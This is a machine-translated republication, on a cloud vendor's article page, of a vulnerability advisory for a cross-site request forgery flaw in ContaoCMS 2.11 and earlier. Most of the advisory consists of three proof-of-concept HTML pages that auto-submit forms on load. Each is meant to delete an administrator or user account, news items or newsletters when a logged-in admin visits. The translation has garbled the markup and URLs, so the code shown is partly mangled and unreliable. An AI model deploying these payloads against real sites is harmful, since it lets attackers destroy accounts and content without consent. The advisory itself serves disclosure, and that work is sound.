Home > Cloud Computing > Cloud Security

ContaoCMS (aka TYPOlight) & lt; = 2.11 CSRF (delete administrator/delete article)

Source: Internet
Author: User
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

Title: ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin-Delete Article)
By Ivano Binetti (http://ivanobinetti.com)
: Http://www.contao.org/en/download.html
Develop this Website: http://www.contao.org
Affected Versions: 2.11.0 (latest) and earlier
Test Platform: Debian Squeeze (6.0)
+ Region-+
+ ---------------------------------------- [Multiple defects by Ivano Binetti] --------------------------------------------- +
Summary
1) program Introduction
2) defect description
2.1 Delete an administrator or user
2.2 Delete news
2.3 Delete letterhead
+ Region-+
1) program Introduction
Contao (fka TYPOlight) is "an open source content management system (CMS) for people who want a professional internet presence that
Is easy to maintain ".
2) defect description
Contao 2.11 (and lower) is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages
(Articles, news, newsletter and so on ).
2.1 Delete an administrator or user
<Html>
<Body onload = "javascript: document. forms [0]. submit ()">
<H2> CSRF Exploit to delete ADMIN/USER account </H2>
<Form method = "POST" name = "form0" action = "http: // www.2cto.com/contao/main. php? Do = user & act = delete & id = 2 ">
</Body>
</Html>
Note that the is possible to delete any admin/user, also the first administrator (id = 1) created during Contao's installation phase.
2.2 Delete news
<Html>
<Body onload = "javascript: document. forms [0]. submit ()">
<H2> CSRF Exploit to delete news </H2>
<Form method = "POST" name = "form0" action = "http: // www.2cto.com/contao/main. php? Do = news & act = delete & id = 1 ">
</Form>
</Body>
</Html>
2.3 Delete A news letterhead
<Html>
<Body onload = "javascript: document. forms [0]. submit ()">
<H2> CSRF Exploit to delete news letterhead </H2>
<Form method = "POST" name = "form0" action = "http: // www.2cto.com/contao/main. php? Do = newsletter & act = delete & id = 1 ">
</Form>
</Body>
</Html>

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More